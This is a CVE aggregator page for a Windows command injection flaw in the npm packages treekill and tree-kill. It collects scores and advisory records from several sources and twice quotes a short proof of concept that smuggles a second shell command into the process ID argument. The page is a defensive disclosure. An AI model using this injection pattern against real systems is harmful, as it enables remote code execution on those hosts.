CVE-2019-15598
Treekill Enables OS Command Injection
A Code Injection exists in treekill on Windows which allows a remote code execution when an attacker is able to control the input into the command.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Exploit likelihood
What each source reports
NVD Score used
9.8
A Code Injection exists in treekill on Windows which allows a remote code execution when an attacker is able to control the input into the command.
- Record
CVE-2019-15598- CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - CVSS 2.0
- 7.5 High
AV:N/AC:L/Au:N/C:P/I:P/A:P - Weakness
- CWE-94, CWE-78
- Updated
- 2026-11-02
CVE List No score
A Code Injection exists in treekill on Windows which allows a remote code execution when an attacker is able to control the input into the command.
- Record
CVE-2019-15598- Weakness
- CWE-94
- Updated
- 2026-11-02
EUVDEUVD-2022-4302 No score
A Code Injection exists in treekill on Windows which allows a remote code execution when an attacker is able to control the input into the command.
- Record
EUVD-2022-4302- Updated
- 2026-11-03
GitHub AdvisoriesGHSA-j7fq-p9q7-5wfv
9.8
Treekill Enables OS Command Injection
A Code Injection exists in treekill and tree-kill on Windows which allows a remote code execution when an attacker is able to control the input into the command.
Steps To Reproduce:
Create the following PoC file:
var kill = require('treekill');
kill('3333332 & echo "HACKED" > HACKED.txt & ');
Execute the following commands in terminal:
npm i treekill # Install affected module
dir # Check *HACKED.txt* doesn't exist
node poc.js # Run the PoC
dir # Now *HACKED.txt* exists :)
The HACKED.txt has been created
- Record
GHSA-j7fq-p9q7-5wfv- CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-78
- Updated
- 2026-11-02
OSVGHSA-j7fq-p9q7-5wfv
9.8
Treekill Enables OS Command Injection
A Code Injection exists in treekill and tree-kill on Windows which allows a remote code execution when an attacker is able to control the input into the command.
Steps To Reproduce:
Create the following PoC file:
var kill = require('treekill');
kill('3333332 & echo "HACKED" > HACKED.txt & ');
Execute the following commands in terminal:
npm i treekill # Install affected module
dir # Check *HACKED.txt* doesn't exist
node poc.js # Run the PoC
dir # Now *HACKED.txt* exists :)
The HACKED.txt has been created
- Record
GHSA-j7fq-p9q7-5wfv- CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-78
- Updated
- 2026-11-02
OSVCLSA-2026-1776731777 No score
TuxCare security update for tree-kill (2 CVEs)
TuxCare rebuilt tree-kill to address 2 CVEs. Fixed in 1.2.1-tuxcare.1.
- Record
CLSA-2026-1776731777- Updated
- 2026-11-02
Affected products
Affected packages
History
| Recorded | Changed | Sources |
|---|---|---|
| affected, facts | ||
| aliases | EUVD | |
| first indexed | CVE List, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2019-15598 is a critical vulnerability (CVSS 9.8) in Tree-kill Project Tree-kill, published December 18, 2019. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 2.74%, the 86th percentile. Fixed in tree-kill 1.2.2.